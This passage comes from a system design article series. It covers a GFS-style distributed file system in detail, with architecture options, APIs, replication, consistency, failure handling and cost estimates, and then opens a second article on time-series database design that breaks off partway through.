| ------------------- | ------------------------- | ---------------------------------------------------------- |
| Metadata management | Single master             | Simplifies placement, enables global optimization          |
| Chunk size          | 64-128 MB                 | Amortizes metadata overhead, optimizes for large files     |
| Replication         | 3 replicas, rack-aware    | Survives rack failure, balances write bandwidth            |
| Consistency         | Relaxed (defined regions) | Enables concurrent appends, simplifies implementation      |
| Write model         | Append-only preferred     | Eliminates random write complexity, enables atomic appends |

**Key trade-offs accepted:**

- Single master limits metadata operations to ~10K ops/sec (sufficient for batch workloads)
- Large chunks waste space for small files and create hotspots
- Relaxed consistency requires application-level handling of duplicates

**What this design optimizes:**

- High throughput for large sequential reads/writes (100s MB/s per client)
- Automatic failure recovery with minimal data loss
- Linear storage scaling to petabytes

## Requirements

### Functional Requirements

| Requirement            | Priority | Notes                                   |
| ---------------------- | -------- | --------------------------------------- |
| File creation/deletion | Core     | Hierarchical namespace                  |
| Large file read        | Core     | Multi-GB to TB files, sequential access |
| Large file write       | Core     | Streaming writes, immutable after close |
| Record append          | Core     | Multiple clients appending concurrently |
| Snapshot               | Extended | Point-in-time copy for backups          |
| Namespace operations   | Extended | Rename, move, permissions               |
| Small file support     | Extended | Not optimized, but functional           |

### Non-Functional Requirements

| Requirement      | Target                    | Rationale                                    |
| ---------------- | ------------------------- | -------------------------------------------- |
| Availability     | 99.9% (3 nines)           | Batch processing tolerates brief outages     |
| Read throughput  | 100+ MB/s per client      | Saturate network, not disk                   |
| Write throughput | 50+ MB/s per client       | Pipeline limits write speed                  |
| Append latency   | p99 < 100ms               | Real-time log ingestion                      |
| Durability       | 99.9999%                  | Data survives multiple simultaneous failures |
| Recovery time    | < 10 min for node failure | Re-replication must not overwhelm cluster    |

### Scale Estimation

**Cluster size (large deployment):**

- Nodes: 1,000-5,000 chunk servers
- Storage per node: 12 × 4TB disks = 48TB raw
- Total raw capacity: 50,000 × 48TB = 2.4 PB per 50 nodes, scaling to 240 PB at 5,000 nodes
- Usable capacity (3x replication): ~80 PB at 5,000 nodes

**Files and chunks:**

- Files: 10 million (typical large deployment)
- Average file size: 1 GB
- Chunks per file: 1 GB / 64 MB = 16 chunks
- Total chunks: 160 million
- Metadata per chunk: ~150 bytes (GFS design)
- Total metadata: 160M × 150B = 24 GB (fits in master memory)

**Traffic:**

- Concurrent clients: 10,000
- Read-heavy workload: 90% reads, 10% writes
- Aggregate read throughput: 10,000 × 100 MB/s = 1 TB/s cluster-wide
- Aggregate write throughput: 1,000 × 50 MB/s = 50 GB/s cluster-wide

**Metadata operations:**

- File opens per second: 5,000-10,000
- Chunk location lookups: 50,000-100,000 per second (batch prefetch)

## Design Paths

### Path A: Single Master (GFS Model)

**Best when:**

- Metadata operations are not the bottleneck (batch processing)
- Simplicity and operational ease are priorities
- Global optimization of chunk placement is valuable
- File count is under 100 million

**Architecture:**

![Diagram](./diagram-1.svg)

**Key characteristics:**

- All metadata in single master's memory
- Chunk locations not persisted—rebuilt from heartbeats on startup
- Operation log replicated to shadow masters
- Clients cache chunk locations, reducing master load

**Trade-offs:**

- ✅ Simple design, easy to reason about
- ✅ Global knowledge enables optimal placement
- ✅ Single point for consistency
- ❌ Memory limits file count (~100M files with 64GB RAM)
- ❌ Master CPU limits metadata ops (~10K ops/sec)
- ❌ Single point of failure (mitigated by shadows)

**Real-world example:** Google File System (2003-2010) used this model. Clusters grew to several thousand chunk servers and hundreds of terabytes before metadata limits became problematic. Google eventually replaced GFS with Colossus for exabyte-scale needs.

### Path B: Federated Masters (HDFS Federation)

**Best when:**

- Multiple independent workloads share infrastructure
- File count exceeds single-master memory limits
- Namespace isolation is desirable
- Gradual scaling without re-architecture is needed

**Architecture:**

![Diagram](./diagram-2.svg)

**Key characteristics:**

- Each NameNode manages independent namespace
- Block pools are isolated per NameNode
- DataNodes serve all NameNodes
- No coordination between NameNodes

**Trade-offs:**

- ✅ Scales metadata horizontally
- ✅ Namespace isolation for multi-tenancy
- ✅ Incremental scaling
- ❌ No cross-namespace operations (hardlinks, moves)
- ❌ Uneven namespace utilization requires manual balancing
- ❌ Client must know which NameNode to contact

**Real-world example:** HDFS Federation was introduced in Hadoop 2.0 (2012). Yahoo deployed clusters with multiple NameNodes managing separate namespaces for different teams.

### Path C: Distributed Metadata (Colossus/Tectonic Model)

**Best when:**

- Exabyte-scale storage is required
- Billions of files are expected
- Multi-tenancy with strong isolation is critical
- Team has expertise in distributed databases

**Architecture:**

![Diagram](./diagram-3.svg)

**Key characteristics:**

- Metadata in distributed database (BigTable, Spanner)
- Curators are stateless, scale horizontally
- Custodians handle background operations
- D servers are simple storage targets

**Trade-offs:**

- ✅ Exabyte scale, billions of files
- ✅ No single point of failure
- ✅ True horizontal scaling
- ❌ Complex multi-layer architecture
- ❌ Higher latency for metadata operations
- ❌ Requires distributed database expertise

**Real-world example:** Google Colossus (2010+) stores exabytes of data across Google's infrastructure. Facebook Tectonic (2021) consolidated multiple storage systems into one, reducing data warehouse clusters by 10x.

### Path Comparison

| Factor              | Single Master    | Federation              | Distributed  |
| ------------------- | ---------------- | ----------------------- | ------------ |
| Files               | ~100M            | ~1B (sum of namespaces) | Unlimited    |
| Metadata ops/sec    | 10K              | 10K × N namespaces      | 100K+        |
| Complexity          | Low              | Medium                  | High         |
| Cross-namespace ops | N/A              | No                      | Yes          |
| Operational burden  | Low              | Medium                  | High         |
| Best for            | Most deployments | Large enterprises       | Hyperscalers |

### This Article's Focus

This article focuses on **Path A (Single Master)** because:

1. It's the foundational model (GFS, early HDFS)
2. Sufficient for 95% of deployments (up to 100M files)
3. Simpler to understand and operate
4. Concepts transfer to federated/distributed models

Path B (Federation) is covered briefly in the scaling section. Path C (Distributed) requires a separate article on metadata-at-scale architectures.

## High-Level Design

### Component Overview

![Diagram](./diagram-4.svg)

### Master Server

Manages all filesystem metadata and coordinates cluster operations.

**Responsibilities:**

- Namespace management (directory tree, file metadata)
- File-to-chunk mapping
- Chunk replica placement decisions
- Lease management for write coordination
- Garbage collection of orphaned chunks
- Re-replication of under-replicated chunks

**Design decisions:**

| Decision         | Choice                      | Rationale                                         |
| ---------------- | --------------------------- | ------------------------------------------------- |
| Metadata storage | In-memory                   | Sub-millisecond lookups, 64GB supports 100M files |
| Persistence      | Operation log + checkpoints | Fast recovery, crash consistency                  |
| Chunk locations  | Not persisted               | Rebuilt from heartbeats in 30-60 seconds          |
| Failover         | Manual + shadow masters     | Simplicity; automatic adds complexity             |

**Memory layout (per 64GB master):**

| Data               | Size            | Count Supported             |
| ------------------ | --------------- | --------------------------- |
| Namespace tree     | ~200 bytes/file | 100M files = 20GB           |
| File→chunk mapping | ~100 bytes/file | 100M files = 10GB           |
| Chunk metadata     | ~64 bytes/chunk | 500M chunks = 32GB          |
| **Total**          | ~62GB           | **100M files, 500M chunks** |

### Chunk Server

Stores chunks as local files and serves read/write requests.

**Responsibilities:**

- Store chunks as Linux files on local disks
- Serve read requests directly to clients
- Accept writes and forward in pipeline
- Report chunk inventory via heartbeat
- Compute and verify checksums
- Participate in re-replication

**Design decisions:**

| Decision           | Choice                      | Rationale                             |
| ------------------ | --------------------------- | ------------------------------------- |
| Chunk storage      | Local filesystem (ext4/xfs) | Leverage OS buffer cache, simple      |
| Checksumming       | 32KB blocks, CRC32C         | Detect corruption before serving      |
| Heartbeat interval | 3 seconds                   | Balance failure detection vs overhead |
| Chunk report       | Piggyback on heartbeat      | Reduce message count                  |

**Disk layout:**

```
/data/
├── disk1/
│   ├── chunks/
│   │   ├── chunk_abc123.dat    # 64MB chunk data
│   │   ├── chunk_abc123.crc    # Checksums (2KB for 64MB)
│   │   └── chunk_def456.dat
│   └── meta/
│       └── chunk_inventory.db   # Local SQLite for chunk metadata
├── disk2/
│   └── chunks/
└── disk12/
    └── chunks/
```

### Client Library

Provides file system interface and handles complexity of distributed operations.

**Responsibilities:**

- Translate file operations to master/chunk server RPCs
- Cache chunk locations (reduces master load 100x)
- Buffer writes for efficiency
- Handle retries and failover
- Implement record append semantics

**Design decisions:**

| Decision              | Choice                         | Rationale                   |
| --------------------- | ------------------------------ | --------------------------- |
| Location cache        | LRU, 10K entries, 10min TTL    | Reduces master load by 100x |
| Write buffer          | 64MB (one chunk)               | Batch small writes          |
| Retry policy          | Exponential backoff, 3 retries | Handle transient failures   |
| Checksum verification | On read                        | Catch corruption early      |

## API Design

### Master Server API

#### File Operations

**Create File:**

```
CreateFile(path: string, replication: int) → FileHandle
```

- Validates path, creates namespace entry
- Does not allocate chunks (lazy allocation)
- Returns handle with initial chunk locations

**Open File:**

```
OpenFile(path: string, mode: READ|WRITE|APPEND) → FileHandle
```

- For writes: grants lease to client
- Returns current chunk locations

**Delete File:**

```
DeleteFile(path: string) → void
```

- Marks file as deleted in namespace
- Actual chunk deletion via garbage collection (72-hour delay)

#### Chunk Operations

**Get Chunk Locations:**

```
GetChunkLocations(file: FileHandle, chunkIndex: int) → ChunkInfo
```

Response:

```json
{
  "chunkId": "chunk_abc123",
  "version": 42,
  "replicas": [
    { "server": "cs1.example.com:9000", "rack": "rack1" },
    { "server": "cs4.example.com:9000", "rack": "rack2" },
    { "server": "cs7.example.com:9000", "rack": "rack3" }
  ],
  "primary": "cs1.example.com:9000",
  "leaseExpiry": "2024-02-03T10:05:00Z"
}
```

**Add Chunk:**

```
AddChunk(file: FileHandle) → ChunkInfo
```

- Allocates new chunk ID
- Selects replica locations (rack-aware)
- Grants lease to one replica as primary

### Chunk Server API

**Read Chunk:**

```
ReadChunk(chunkId: string, offset: int, length: int) → bytes
```

- Verifies checksum before returning data
- Returns error if checksum fails (client retries other replica)

**Write Chunk:**

```
WriteChunk(chunkId: string, offset: int, data: bytes, replicas: []Server) → void
```

- Accepts data, writes to disk
- Forwards to next replica in pipeline
- Returns success only when all replicas confirm

**Append Chunk:**

```
AppendChunk(chunkId: string, data: bytes) → (offset: int, error)
```

- Primary determines offset
- Broadcasts to replicas
- Returns offset where data was appended
- If chunk doesn't have space, returns `ChunkFull` error

### Client API (User-Facing)

```python
class DistributedFileSystem:
    def create(path: str, replication: int = 3) -> File
    def open(path: str, mode: str = "r") -> File
    def delete(path: str) -> None
    def rename(src: str, dst: str) -> None
    def list(path: str) -> List[FileInfo]
    def mkdir(path: str) -> None
    def exists(path: str) -> bool

class File:
    def read(size: int = -1) -> bytes
    def write(data: bytes) -> int
    def append(data: bytes) -> int  # Returns offset
    def seek(offset: int) -> None
    def close() -> None
```

## Data Modeling

### Master Metadata Structures

**Namespace (in-memory tree):**

```go
type NamespaceNode struct {
    Name        string
    IsDirectory bool
    Children    map[string]*NamespaceNode  // For directories
    FileInfo    *FileMetadata               // For files
    Parent      *NamespaceNode

    // Access control
    Owner       string
    Group       string
    Permissions uint16
}

type FileMetadata struct {
    FileID      uint64
    Size        int64
    Replication int
    ChunkSize   int64  // Usually 64MB
    Chunks      []ChunkHandle
    CreatedAt   time.Time
    ModifiedAt  time.Time
}
```

**Chunk mapping (in-memory hash table):**

```go
type ChunkHandle uint64

type ChunkMetadata struct {
    Handle     ChunkHandle
    Version    uint64           // Incremented on each mutation
    Replicas   []ChunkServerID  // Current replica locations
    Primary    ChunkServerID    // Current lease holder
    LeaseExpiry time.Time
}

// Global map: O(1) lookup
var chunkTable map[ChunkHandle]*ChunkMetadata
```

### Operation Log Format

Persistent, append-only log for crash recovery:

```
[Timestamp][OpType][OpData]

Example entries:
[1706900000][CREATE_FILE]["/logs/2024/app.log", replication=3]
[1706900001][ADD_CHUNK][fileId=12345, chunkHandle=67890, version=1]
[1706900002][UPDATE_REPLICAS][chunkHandle=67890, replicas=[cs1,cs4,cs7]]
[1706900003][DELETE_FILE]["/tmp/old_file.dat"]
```

**Compaction:**

- Checkpoint: Serialize full in-memory state to disk
- Truncate log entries before checkpoint
- Frequency: Every 1M operations or 1 hour

### Chunk Server Local Storage

**Chunk file format:**

```
chunk_<handle>.dat:
[Data: 64MB or less]

chunk_<handle>.meta:
{
  "handle": 67890,
  "version": 42,
  "size": 67108864,
  "checksums": [
    {"offset": 0, "crc32c": "a1b2c3d4"},
    {"offset": 32768, "crc32c": "e5f6g7h8"},
    ...  // One per 32KB block
  ],
  "createdAt": "2024-02-03T10:00:00Z"
}
```

### Heartbeat Protocol

**Chunk server → Master (every 3 seconds):**

```json
{
  "serverId": "cs1.example.com:9000",
  "timestamp": 1706900000,
  "diskUsage": {
    "total": 48000000000000,
    "used": 32000000000000,
    "available": 16000000000000
  },
  "chunkReports": [
    { "handle": 67890, "version": 42, "size": 67108864 },
    { "handle": 67891, "version": 15, "size": 33554432 }
  ],
  "corruptChunks": [67892],
  "load": {
    "readOps": 150,
    "writeOps": 20,
    "networkBytesIn": 1073741824,
    "networkBytesOut": 5368709120
  }
}
```

**Master → Chunk server (response):**

```json
{
  "commands": [
    { "type": "DELETE", "chunks": [67893, 67894] },
    { "type": "REPLICATE", "chunk": 67895, "target": "cs5.example.com:9000" },
    { "type": "REPORT_FULL", "reason": "version_mismatch" }
  ]
}
```

## Low-Level Design

### Write Operation Flow

#### Standard Write

![Diagram](./diagram-5.svg)

**Why separate data push from write command:**

1. Data flows directly to all replicas (parallel, saturates network)
2. Write command is small, serializes at primary
3. Primary controls ordering for concurrent writes
4. If replica fails, retry is cheap (data already pushed)

#### Record Append

Atomic append is the key differentiator from traditional file systems:

![Diagram](./diagram-6.svg)

**Append semantics:**

- **At-least-once guarantee**: If append returns success, data is durably stored
- **Atomicity**: Each append is all-or-nothing (no partial appends)
- **Ordering**: Primary determines global order
- **Duplicates possible**: If primary fails after writing but before ACK, client retries → duplicate record

**Handling append failures:**

```
If replica fails during append:
1. Primary returns failure to client
2. Client retries (may retry different chunk if padding needed)
3. Some replicas may have the data, some may not
4. Result: "defined" region followed by "inconsistent" padding
```

### Consistency Model

GFS-style distributed file systems use a **relaxed consistency model**:

| After Operation            | Consistent | Defined              |
| -------------------------- | ---------- | -------------------- |
| Write (single client)      | Yes        | Yes                  |
| Write (concurrent clients) | Yes        | No (interleaved)     |
| Record Append (success)    | Yes        | Yes (at some offset) |
| Record Append (failure)    | No         | No                   |

**Definitions:**

- **Consistent**: All replicas have identical data
- **Defined**: Data reflects exactly one client's write

**Application implications:**

1. Writers should use record append, not random writes
2. Readers must handle:
   - Duplicate records (use unique IDs + deduplication)
   - Partial records (use checksums in records)
   - Inconsistent regions (validate before processing)

**Example: Log file with concurrent appenders:**

```
[Record 1: app_id=A, seq=1, checksum=valid] ← Defined
[Record 2: app_id=B, seq=1, checksum=valid] ← Defined
[Padding: zeros or garbage]                  ← Inconsistent (skip)
[Record 3: app_id=A, seq=2, checksum=valid] ← Defined
[Record 1: app_id=A, seq=1, checksum=valid] ← Duplicate (skip)
```

### Replica Placement Algorithm

**Goals:**

1. Survive rack failure
2. Distribute load
3. Minimize cross-rack traffic for writes

**Algorithm (for 3 replicas):**

```python
def select_replicas(num_replicas: int, client_rack: str) -> List[Server]:
    replicas = []

    # First replica: prefer client's rack (if client is a chunk server)
    # or select least-loaded server
    if client_is_chunk_server and has_capacity(client_rack):
        replicas.append(select_server(client_rack))
    else:
        replicas.append(select_least_loaded_server())

    # Second replica: different rack
    rack2 = select_different_rack(replicas[0].rack)
    replicas.append(select_server(rack2))

    # Third replica: same rack as second (minimize cross-rack writes)
    replicas.append(select_server(rack2, exclude=replicas[1]))

    return replicas

def select_server(rack: str, exclude: Server = None) -> Server:
    candidates = [s for s in rack.servers
                  if s != exclude
                  and s.available_space > THRESHOLD
                  and s.recent_creates < RATE_LIMIT]

    # Balance by available space and recent activity
    return weighted_random(candidates, weight=available_space)
```

**Write bandwidth analysis:**

| Replica Placement       | Cross-Rack Transfers |
| ----------------------- | -------------------- |
| All same rack           | 0                    |
| Spread across 3 racks   | 2                    |
| 1 rack + 2 another rack | 1                    |

The third approach (1 + 2) balances reliability and bandwidth.

### Failure Handling

#### Chunk Server Failure

![Diagram](./diagram-7.svg)

**Re-replication throttling:**

- Limit: 10 MB/s per source server
- Reason: Prevent recovery traffic from impacting production reads
- Trade-off: Slower recovery vs. sustained availability

#### Master Failure

**Recovery process:**

1. **Shadow master detection**: Monitoring detects primary failure
2. **Promotion**: Operator (or automated system) promotes shadow
3. **Log replay**: Shadow applies any uncommitted log entries
4. **Chunk reports**: Wait for chunk servers to report (30-60 seconds)
5. **Resume operations**: Master accepts client requests

**Recovery time breakdown:**

| Phase              | Duration                       |
| ------------------ | ------------------------------ |
| Detection          | 10-30 seconds                  |
| Promotion decision | Manual: minutes, Auto: seconds |
| Log replay         | Seconds (incremental)          |
| Chunk reports      | 30-60 seconds                  |
| **Total**          | 1-5 minutes                    |

#### Data Corruption Detection

**Checksum verification:**

```python
BLOCK_SIZE = 32 * 1024  # 32KB

def write_chunk(chunk_id: str, data: bytes):
    # Compute checksums for each 32KB block
    checksums = []
    for i in range(0, len(data), BLOCK_SIZE):
        block = data[i:i+BLOCK_SIZE]
        checksums.append(crc32c(block))

    # Write data and checksums atomically
    write_file(f"{chunk_id}.dat", data)
    write_file(f"{chunk_id}.crc", checksums)

def read_chunk(chunk_id: str, offset: int, length: int) -> bytes:
    data = read_file(f"{chunk_id}.dat", offset, length)
    checksums = read_file(f"{chunk_id}.crc")

    # Verify each block
    for i in range(offset // BLOCK_SIZE, (offset + length) // BLOCK_SIZE + 1):
        block = data[i*BLOCK_SIZE:(i+1)*BLOCK_SIZE]
        if crc32c(block) != checksums[i]:
            raise CorruptionError(chunk_id, i)

    return data
```

**Corruption handling:**

1. Chunk server reports corruption to master
2. Master marks chunk as corrupt
3. Master initiates re-replication from healthy replica
4. Chunk server deletes corrupt chunk

### Garbage Collection

**Lazy deletion design:**

1. `DELETE /path/file` → File renamed to hidden name (`.deleted_<timestamp>_<filename>`)
2. After 72 hours: Master removes file metadata
3. During heartbeat: Master tells chunk servers to delete orphaned chunks

**Why 72-hour delay:**

- Allows recovery from accidental deletion
- Batches deletion operations
- Reduces master load

**Orphan detection:**

```python
def garbage_collect():
    # Collect all chunks referenced by files
    referenced_chunks = set()
    for file in all_files():
        referenced_chunks.update(file.chunks)

    # On each heartbeat, check chunk server's inventory
    for chunk_id in chunk_server.reported_chunks:
        if chunk_id not in referenced_chunks:
            # Tell chunk server to delete
            commands.append(DeleteChunk(chunk_id))
```

## Frontend Considerations

While distributed file systems are primarily backend infrastructure, client-facing considerations exist:

### Batch Processing Integration

**MapReduce/Spark data locality:**

```python
def get_input_splits(file_path: str) -> List[InputSplit]:
    """Return splits with location hints for scheduler."""
    splits = []
    for chunk in file.chunks:
        locations = master.get_chunk_locations(chunk)
        splits.append(InputSplit(
            chunk_id=chunk.id,
            offset=0,
            length=chunk.size,
            # Scheduler prefers these hosts
            preferred_locations=[loc.host for loc in locations]
        ))
    return splits
```

**Data locality statistics:**

| Locality Level | Typical Rate | Impact                |
| -------------- | ------------ | --------------------- |
| Node-local     | 70-90%       | Zero network for read |
| Rack-local     | 95-99%       | Low network overhead  |
| Off-rack       | 1-5%         | Full network cost     |

### CLI and Admin Tools

**Essential operations:**

```bash
# File operations
dfs put local_file.txt /hdfs/path/file.txt
dfs get /hdfs/path/file.txt local_file.txt
dfs ls /hdfs/path/
dfs rm /hdfs/path/file.txt

# Admin operations
dfs fsck /path              # Check file system health
dfs balancer                # Rebalance data across servers
dfs report                  # Cluster utilization report
dfs safemode enter|leave    # Maintenance mode
```

### Monitoring Dashboard Metrics

**Key metrics for operators:**

| Metric                  | Warning Threshold | Critical Threshold |
| ----------------------- | ----------------- | ------------------ |
| Under-replicated blocks | > 100             | > 1000             |
| Corrupt blocks          | > 0               | > 10               |
| Dead nodes              | > 0               | > N × 0.05         |
| Capacity used           | > 70%             | > 85%              |
| Pending replications    | > 10000           | > 100000           |
| Master heap usage       | > 70%             | > 85%              |

## Infrastructure

### Cloud-Agnostic Components

| Component      | Purpose                    | Options                             |
| -------------- | -------------------------- | ----------------------------------- |
| Master storage | Operation log, checkpoints | Local SSD, NFS, cloud block storage |
| Chunk storage  | Data storage               | Local HDD/SSD arrays                |
| Network        | Data transfer              | 10-100 Gbps, leaf-spine topology    |
| Monitoring     | Health, metrics            | Prometheus, Grafana, Datadog        |
| Configuration  | Cluster config             | ZooKeeper, etcd, Consul             |

### Hardware Recommendations

**Master server (per server):**

| Component | Specification        | Rationale                         |
| --------- | -------------------- | --------------------------------- |
| CPU       | 32+ cores            | Metadata operations are CPU-bound |
| Memory    | 128-256 GB           | All metadata in RAM               |
| Storage   | 2× NVMe SSD (RAID 1) | Operation log durability          |
| Network   | 25 Gbps              | Heartbeat + client traffic        |

**Chunk server (per server):**

| Component | Specification      | Rationale                   |
| --------- | ------------------ | --------------------------- |
| CPU       | 8-16 cores         | I/O bound, not CPU bound    |
| Memory    | 64-128 GB          | OS buffer cache             |
| Storage   | 12-24× 4-16 TB HDD | Cost-effective bulk storage |
| Network   | 25-100 Gbps        | Saturate disk throughput    |

### Capacity Planning

**Cluster sizing formula:**

```
Raw capacity needed = Data size × Replication factor
                    = 100 PB × 3 = 300 PB

Servers needed = Raw capacity / Capacity per server
               = 300 PB / 48 TB = 6,250 servers

Network capacity = Expected throughput × Headroom
                 = 1 TB/s × 2 = 2 TB/s aggregate
                 = ~200 servers at 10 Gbps each (network limited)
```

### AWS Reference Architecture

![Diagram](./diagram-8.svg)

**Instance selection:**

| Role         | Instance      | vCPUs | Memory | Storage       | Network |
| ------------ | ------------- | ----- | ------ | ------------- | ------- |
| Master       | i3en.12xlarge | 48    | 384 GB | 4× 7.5TB NVMe | 50 Gbps |
| Chunk Server | d3en.12xlarge | 48    | 192 GB | 12× 14TB HDD  | 50 Gbps |

**Cost comparison (300 servers, 3-year reserved):**

| Component           | Monthly Cost |
| ------------------- | ------------ |
| d3en.12xlarge × 297 | ~$400K       |
| i3en.12xlarge × 3   | ~$8K         |
| Network (inter-AZ)  | ~$50K        |
| **Total**           | ~$460K/month |

**Alternative: Self-hosted on-prem often 60-70% cheaper for sustained workloads.**

## Conclusion

This design provides a distributed file system capable of:

1. **Petabyte-scale storage** across thousands of commodity servers
2. **100+ MB/s throughput** per client for large sequential operations
3. **Fault tolerance** surviving simultaneous disk, server, and rack failures
4. **Atomic record append** enabling concurrent producers without coordination

**Key architectural decisions:**

- Single master with in-memory metadata enables global optimization but limits scale to ~100M files
- Large chunks (64-128 MB) optimize for batch processing but penalize small files
- Relaxed consistency trades simplicity for application-level complexity (deduplication, checksums)
- Append-only design eliminates random write complexity

**Known limitations:**

- Single master is metadata bottleneck (addressed by federation or distributed metadata)
- Large chunks waste space for small files (addressed by tiered storage)
- No strong consistency for concurrent writes (acceptable for batch workloads)

**When to use alternatives:**

| Requirement                          | Better Choice                          |
| ------------------------------------ | -------------------------------------- |
| Many small files (millions of < 1MB) | Object storage (S3, MinIO)             |
| POSIX semantics required             | CephFS, Lustre                         |
| Real-time random reads               | Key-value stores (Cassandra, DynamoDB) |
| Exabyte scale                        | Colossus-style distributed metadata    |

## Appendix

### Prerequisites

- Storage fundamentals (RAID, replication, erasure coding)
- Distributed systems basics (consensus, failure detection)
- Networking (TCP, datacenter topology)

### Terminology

| Term               | Definition                                                       |
| ------------------ | ---------------------------------------------------------------- |
| **Chunk**          | Fixed-size unit of file data (64-128 MB), called "block" in HDFS |
| **Master**         | Server managing metadata, called "NameNode" in HDFS              |
| **Chunk Server**   | Server storing chunk data, called "DataNode" in HDFS             |
| **Lease**          | Time-limited grant to a client for write operations              |
| **Operation Log**  | Append-only journal of metadata changes for recovery             |
| **Checkpoint**     | Snapshot of in-memory metadata state                             |
| **Rack-aware**     | Placement strategy considering physical rack topology            |
| **Re-replication** | Process of copying chunks to restore replication factor          |

### Summary

- **Architecture**: Single master manages metadata in-memory; chunk servers store data as local files
- **Chunk size**: 64-128 MB balances metadata overhead against small file efficiency
- **Replication**: 3 replicas across 2 racks survives rack failure with one cross-rack write
- **Consistency**: Relaxed model with atomic record append; applications handle duplicates
- **Write flow**: Data pushed in parallel, write command serialized at primary
- **Failure handling**: Heartbeat detection, re-replication throttled to preserve production traffic

### References

**Original Papers:**

- [The Google File System](https://research.google/pubs/pub51/) - Ghemawat, Gobioff, Leung (SOSP 2003)
- [HDFS Architecture Guide](https://hadoop.apache.org/docs/current/hadoop-project-dist/hadoop-hdfs/HdfsDesign.html) - Apache Hadoop Documentation

**Production Systems:**

- [A Peek Behind Colossus, Google's File System](https://cloud.google.com/blog/products/storage-data-transfer/a-peek-behind-colossus-googles-file-system) - Google Cloud Blog (2021)
- [Consolidating Facebook Storage Infrastructure with Tectonic](https://engineering.fb.com/2021/06/21/data-infrastructure/tectonic-file-system/) - Meta Engineering (2021)
- [HDFS Federation](https://hadoop.apache.org/docs/current/hadoop-project-dist/hadoop-hdfs/Federation.html) - Apache Hadoop
- [HDFS High Availability with QJM](https://hadoop.apache.org/docs/stable/hadoop-project-dist/hadoop-hdfs/HDFSHighAvailabilityWithQJM.html) - Apache Hadoop
- [HDFS Erasure Coding](https://hadoop.apache.org/docs/stable/hadoop-project-dist/hadoop-hdfs/HDFSErasureCoding.html) - Apache Hadoop

**Architecture Analysis:**

- [MIT 6.824: GFS Lecture](https://pdos.csail.mit.edu/6.824/notes/l-gfs.txt) - MIT Distributed Systems Course
- [GFS FAQ](https://pdos.csail.mit.edu/6.824/papers/gfs-faq.txt) - MIT PDOS

**Related Concepts:**

- Erasure coding vs replication - Trade-offs for fault tolerance in distributed storage
- Consistent hashing - Data distribution pattern used in many distributed systems

---

## Design a Time Series Database

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/system-design-problems/design-time-series-database
**Category:** System Design / System Design Problems
**Description:** A comprehensive system design for a metrics and monitoring time-series database (TSDB) handling high-velocity writes, efficient compression, and long-term retention. This design addresses write throughput at millions of samples/second, sub-millisecond queries over billions of datapoints, cardinality management for dimensional data, and multi-tier storage for cost-effective retention.

# Design a Time Series Database

A comprehensive system design for a metrics and monitoring time-series database (TSDB) handling high-velocity writes, efficient compression, and long-term retention. This design addresses write throughput at millions of samples/second, sub-millisecond queries over billions of datapoints, cardinality management for dimensional data, and multi-tier storage for cost-effective retention.

<figure>

![High-level architecture: Metrics flow through collectors to a write-ahead log, buffer in memory, then compact to disk. Queries traverse an inverted index to locate compressed blocks. Lifecycle services handle downsampling and retention.](./high-level-architecture-metrics-flow-through-collectors-to-a-write-ahead-log-buf.svg)

<figcaption>High-level architecture: Metrics flow through collectors to a write-ahead log, buffer in memory, then compact to disk. Queries traverse an inverted index to locate compressed blocks. Lifecycle services handle downsampling and retention.</figcaption>
</figure>

## Abstract

Time-series databases optimize for **append-only workloads** with **time-ordered reads**. The fundamental insight: metrics arrive in near-monotonic timestamp order and are queried by time range—exploiting this pattern enables compression ratios of 10-12x and query performance orders of magnitude better than general-purpose databases.

The storage engine uses a **Log-Structured Merge Tree (LSM)** variant. Writes append to a Write-Ahead Log (WAL), buffer in memory, then flush to immutable sorted blocks. Time-based partitioning (typically 2-hour blocks) enables efficient range queries—scanning only relevant blocks instead of the entire dataset.

**Compression** is the critical differentiator. Facebook's Gorilla algorithm achieves 12x compression (16 bytes → 1.37 bytes per sample) using delta-of-delta for timestamps and XOR encoding for values. 96% of timestamps compress to a single bit when samples arrive at regular intervals.

**Cardinality** (unique combinations of metric name + tags) is the primary scaling constraint. A metric like `http_requests{method, status, endpoint}` explodes to millions of series with high-cardinality labels. The inverted index must efficiently map tag combinations to series IDs without consuming unbounded memory.

## Requirements

### Functional Requirements

| Feature                           | Priority | Scope        |
| --------------------------------- | -------- | ------------ |
| Metric ingestion (push model)     | Core     | Full         |
| Range queries by time             | Core     | Full         |
| Tag-based filtering               | Core     | Full         |
| Aggregations (sum, avg, max, p99) | Core     | Full         |
| Downsampling and rollups          | Core     | Full         |
| Retention policies                | Core     | Full         |
| Alerting integration              | High     | Overview     |
| Multi-tenancy                     | High     | Overview     |
| Distributed queries               | High     | Full         |
| Cardinality management            | High     | Full         |
| Exemplar storage (traces)         | Medium   | Brief        |
| Anomaly detection                 | Low      | Out of scope |

### Non-Functional Requirements

| Requirement              | Target                            | Rationale                                          |
| ------------------------ | --------------------------------- | -------------------------------------------------- |
| Write throughput         | 1M+ samples/sec per node          | Modern infrastructure generates massive telemetry  |
| Read latency (hot data)  | p99 < 100ms                       | Dashboard refresh and alerting requirements        |
| Read latency (cold data) | p99 < 5s                          | Historical analysis acceptable with higher latency |
| Storage efficiency       | < 2 bytes/sample compressed       | Cost-effective retention of years of data          |
| Availability             | 99.9%                             | Monitoring systems must be highly available        |
| Data durability          | 99.999%                           | Metrics are valuable for incident investigation    |
| Retention                | Raw: 15 days, Aggregated: 2 years | Balance granularity vs. storage cost               |

### Scale Estimation

**Metric Sources:**

- Hosts: 100K servers, containers, and VMs
- Metrics per host: 500 metrics (CPU, memory, disk, network, application)
- Collection interval: 10 seconds

**Traffic:**

- Samples/second: 100K hosts × 500 metrics / 10s = 5M samples/sec
- Daily samples: 5M × 86,400 = 432B samples/day
- Peak multiplier: 2x during deployments → 10M samples/sec burst

**Storage (before compression):**

- Sample size: 16 bytes (8-byte timestamp + 8-byte value)
- Daily raw: 432B × 16 bytes = 6.9TB/day
- With Gorilla compression (12x): 6.9TB / 12 = 575GB/day
- 15-day retention: ~8.6TB
- 2-year downsampled (1-minute aggregates): ~2TB

**Cardinality:**

- Unique series (metric + tags): 50M active series
- Series per host average: 500
- High-cardinality metrics (by request_id): Must be blocked or aggregated

## Design Paths

### Path A: In-Memory with Disk Spillover (Gorilla/Atlas)

**Best when:**

- Recent data is most valuable (last few hours)
- Predictable memory budget
- Sub-millisecond query latency required

**Architecture:**

- All active series in memory with ring buffers
- Fixed memory allocation per series
- Disk used only for overflow and persistence

**Trade-offs:**

- ✅ Sub-millisecond query latency for recent data
